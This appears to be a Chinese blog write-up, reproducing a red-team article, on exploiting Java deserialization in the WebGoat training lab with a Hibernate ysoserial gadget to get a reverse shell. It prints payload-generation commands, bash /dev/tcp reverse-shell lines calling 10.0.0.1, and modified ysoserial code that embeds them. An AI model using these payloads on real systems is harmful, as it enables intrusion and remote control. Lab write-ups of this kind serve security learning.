Java 反序列化 - 如何在受限环境下一步步获取反弹 Shell

说明

在腾讯玄武安全实验室的日常推送上面看到了Java 反序列化 - 如何在受限环境下一步步获取反向 Shell,觉得非常地有意思。复现并研究了一下。本文就是差不多是对这篇文章的复现和翻译的集合体。

漏洞环境

整篇文章的背景很简单。Webgoat的靶场中提供了一个Insecure Deserialization的学习示例,这个题目的本意只是要求我们通过反序列化漏洞使页面的响应延迟,但是我们能够利用反序列化漏洞得到靶场Docker环境的Shell。

安装Webgoat靶场

本漏洞的环境采用的是Docker的环境。根据官方的提示WebGoat 8,运行

1
2
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh

执行完毕之后,显示如下(由于输出较多,图中仅仅显示部分信息):

访问http://localhost:8080/WebGoat,如果能够正常访问,说明环境搭建成功。

漏洞确认

根据题目的含义:

题目的要求是我们需要在Token中输入我们序列化之后经过bashe64编码的Payload使页面响应延迟。

为了测试是否存在反序列化漏洞,我们可以使用Burp上面的反序列化漏洞扫描插件Java-Deserialization-ScannerJava-Deserialization的安装参考installation、使用可以参考Burp Suite扩展之Java-Deserialization-Scanner
Burp Suite 反序列化插件 Java Deserialization Scanner

漏洞扫描

使用Burp截取请求包,如下:

使用Java-Deserialization-Scanner进行扫描,由于payload需要进行Bash64编码,所以在测试时我们需要选择Attack(base64),否则是无法扫描出漏洞的

经过测试,我们发现存在Hibernate的反序列化漏洞。

漏洞利用&问题定位

扫描发现是存在Hibernate的反序列化漏洞,于是我们尝试利用。Java-Deserialization-Scanner是通过ysoserial生成Payload的。ysoserial usage中是存在Hibernate的Payload的。所以我们利用ysoserial,执行Hibernate1 whoami

发现出现ERROR IN YSOSERIAL COMMAND. SEE STDERR FOR DETAILS错误,进入到Java-Deserialization-Scanner查看错误详情,

具体的错误信息是:

1
2
3
4
5
6
7
8
9
10
11
12
Error while generating or serializing payload
java.lang.ClassNotFoundException: org.hibernate.property.access.spi.Getter
at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:349)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(Class.java:264)
at ysoserial.payloads.Hibernate1.makeHibernate5Getter(Hibernate1.java:92)
at ysoserial.payloads.Hibernate1.makeGetter(Hibernate1.java:64)
at ysoserial.payloads.Hibernate1.getObject(Hibernate1.java:104)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)

此时就非常奇怪了,为什么Java-Deserialization-Scanner能够扫描出Hibernate的漏洞,但是使用ysoserial生成Payload却会出错呢?通过分析源代码,找到Java-Deserialization-Scanner的解析方法BurpExtender.java

发现在Java-Deserialization-Scanner的所有的检测逻辑都是硬编码的,那么ysoserial生成Payload却会出错的原因就在于ysoserial本身了。经过定位分析,发现是在生成Hibernate Payload时,缺少javax.el包,所以我们需要直接下载ysoserial的源码然后在pom.xml中加入这个包的依赖,最后手动编译。关于这个问题,作者提供提交了一个pull request。修改内容如下:

使用maven重新编译代码打包,mvn clean package -DskipTests -Dhibernate5。如果能够正常打包成功,会在target目录下生成ysoserial-0.0.6-SNAPSHOT.jarysoserial-0.0.6-SNAPSHOT-all.jar

当我们重新编译完ysoserial之后,我们在Java-Deserialization-Scanner插件中重新设定ysoserial的路径为我们编译好的ysoserial

之后在Java-Deserialization-Scanner尝试利用:

左边是显示的是经过base64编码之后的Payload,最后发现在docker环境下并没有生成exp文件,在Java-Deserialization-Scanner也没有发现什么错误信息。

既然在Java-Deserialization-Scanner中利用ysoserial失败了,那么我们就只能手动地生成我们的Payload了。

尝试生成payload,java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0

得到Payload的base64形式。我们利用Burp进行利用

我们通过docker exec -it <CONTAINER_ID> /bin/bash进入到Docker容器的内部查看是否生成了/tmp/test文件。

发现存在test文件,说明我们已经攻击成功。

反弹shell

上一章节中已经确认了漏洞的存在并且利用成功,那么现在就是尝试反弹shell了。

生成反弹shell

首先我们需要分析一下在Webgoat中的Docker中能够使用的命令:

发现Docker中存在perlbash命令。我们就可以利用常见的bash反弹shell,bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

之后对ysoserial的生成Payload流程进行分析。整个流程如下图所示:

我们最终会进入到ysoserial.payloads.util.Gadgets::createTemplatesImpl()中。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

其中生成Payload的关键代码是String cmd = "java.lang.Runtime.getRuntime().exec(\"" +command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +"\");";。其中的command就是需要攻击者输入。那么我们就可以直接修改这个cmd为我们的的反弹shell。

所以我们需要利用Java的方式执行这种bash -i >& /dev/tcp/10.0.0.1/8080 0>&1反弹shell。一般利用方式是:

1
2
3
4
Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(mycmd);
p.waitFor();

但是我们需要将上述的这个代码变为字符串的形式。所以我们就需要将上述的代码用"转为字符串,此时还需要对其中的特殊字符进行转义,最终得到的Payload是:

1
2
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);

其中的10.0.0.1就是我们需要的反弹shell的服务器地址,这个需要根据自己的实际情况设定。

修改完毕之后,运行mvn clean package -DskipTests -Dhibernate5重新编译ysoserial

反弹shell利用

得到新的ysoserial之后运行java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "anything" | base64 -w0,得到我们的Payload。

利用Burp发送我们生成的Payload尝试反弹shell

已经成功地拿到Docker的shell了。

其他

反弹shell的利用

其实最终作者使用的是:

1
2
3
4
Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(mycmd);
p.waitFor();

不知道为什么没有采用Bash的方式,就是如下这种,感觉这两种应该是一样的:

1
2
3
4
Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","bash -i >& /dev/tcp/10.0.0.1/8888 0>&1"};
Process p = r.exec(mycmd);
p.waitFor();

我们将其转为字符串形式,

1
2
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/10.0.0.1/8888 0>&1\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);

重新编译运行,得到新的payload。发现同样可以利用:

ysoserial patch

由于作者发现了在生成Hibernate的Payload时出现了问题,于是在pom.xml中添加了javax.el的依赖并提交了一个patch。但是貌似因为出现了一些错误,导致官方目前还没有接受这个pull request。但是具体的错误目前还不清楚,不知道为什么添加一个依赖都会导致continuous-integration的问题。

Java-Deserialization-Scanner

在本篇文章有个很大的问题是在于为什么利用ysoserial进行攻击利用会失败?到底是因为Java-Deserialization-Scanner问题还是编译ysoserial的方法有问题?这个问题还有待进一步地研究。

总结

总体来说,整个漏洞的利用比较有趣,在此过程中也学习到了Java-Deserialization-Scanner的用法以及在受限环境下利用ysoserial反弹shelll的方法。

以上

参考

  1. https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef